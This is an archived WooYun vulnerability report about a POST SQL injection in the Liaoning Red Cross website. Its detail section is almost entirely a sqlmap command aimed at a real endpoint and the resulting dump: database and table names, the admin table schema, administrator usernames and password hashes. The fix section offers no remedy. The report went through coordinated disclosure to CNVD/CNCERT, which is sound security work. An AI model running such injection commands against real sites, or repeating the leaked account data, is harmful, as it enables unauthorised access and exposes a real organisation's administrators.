当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0146307

漏洞标题：辽宁省红十字会SQL（POST）爆炸注入/管理爆炸

相关厂商：辽宁省红十字会

漏洞作者： 冷白开。

提交时间：2015-10-13 12:39

修复时间：2015-11-30 14:32

公开时间：2015-11-30 14:32

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-13： 细节已通知厂商并且等待厂商处理中
2015-10-16： 厂商已经确认，细节仅向厂商公开
2015-10-26： 细节向核心白帽子及相关领域专家公开
2015-11-05： 细节向普通白帽子公开
2015-11-15： 细节向实习白帽子公开
2015-11-30： 细节向公众公开

简要描述：

辽宁省红十字会SQL（POST）爆炸注入/管理爆炸

详细说明：

sqlmap.py -u "http://**.**.**.**/web/vote_response.asp" --data "choose=1&reset=%EF%BF%BD%EF%BF%BD%20%EF%BF%BD%EF%BF%BD&id=1" --dbs

11111.png

available databases [9]:
[*] hongshiziyimai
[*] jijinhui
[*] lnredcross
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
Database: lnredcross
[36 tables]
+--------------------------------+
| NC_Adboard                     |
| D99_Tmp                        |
| NC_Account                     |
| NC_AddMoney                    |
| NC_Adlist                      |
| NC_Admin                       |
| NC_Announce                    |
| NC_Article                     |
| NC_Card                        |
| NC_Channel                     |
| NC_Classify                    |
| NC_Comment                     |
| NC_Config                      |
| NC_Confirm                     |
| NC_DownAddress                 |
| NC_DownServer                  |
| NC_Favorite                    |
| NC_FlashList                   |
| NC_Friend                      |
| NC_GuestBook                   |
| NC_GuestReply                  |
| NC_Link                        |
| NC_Message                     |
| NC_Online                      |
| NC_Paymode                     |
| NC_ScriptFile                  |
| NC_SoftList                    |
| NC_Special                     |
| NC_Template                    |
| NC_User                        |
| NC_UserGroup                   |
| NC_Vote                        |
| dtproperties                   |
| sysconstraints                 |
| syssegments                    |
| lnredcross_org_cn.sqlmapoutput |
+--------------------------------+
Database: lnredcross
Table: NC_Admin
[11 columns]
+--------------+---------------+
| Column       | Type          |
+--------------+---------------+
| Adminflag    | ntext         |
| AdminGrade   | smallint      |
| id           | int           |
| isAloneLogin | tinyint       |
| isLock       | tinyint       |
| Loginip      | nvarchar      |
| LoginTime    | smalldatetime |
| password     | nvarchar      |
| RandomCode   | nvarchar      |
| status       | nvarchar      |
| username     | nvarchar      |
+--------------+---------------+
Database: lnredcross
Table: NC_Admin
[13 entries]
+---------------+
| username      |
+---------------+
| 123           |
| admin         |
| asd           |
| bangongshi    |
| dingdong      |
| ganxibao      |
| gwh           |
| machi         |
| neibuzhuanlan |
| rctest        |
| xiangmuban    |
| zhenjibu      |
| zuxuanbu      |
+---------------+
Database: lnredcross
Table: NC_Admin
[12 entries]
+------------------+
| password         |
+------------------+
| 06536de9f5104260 |
| 197cca949bdb9c6d |
| 2b0f6f5eae91475d |
| 2e2594b46e526824 |
| 8ad9902aecba32e2 |
| 9443e0d88214175f |
| 965eb72c92a549dd |
| aa4949bf181436f2 |
| ac59075b964b0715 |
| d12b9eccf90f9873 |
| e69785d9338da63f |
| f44f4964e6c998de |
+------------------+

漏洞证明：

综上

修复方案：

你们懂

版权声明：转载请注明来源 冷白开。@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-10-16 14:31

厂商回复：

CNVD确认并复现所述漏洞情况，已经转由CNCERT下发对应分中心，由其后续协调网站管理单位处置。

最新状态：

暂无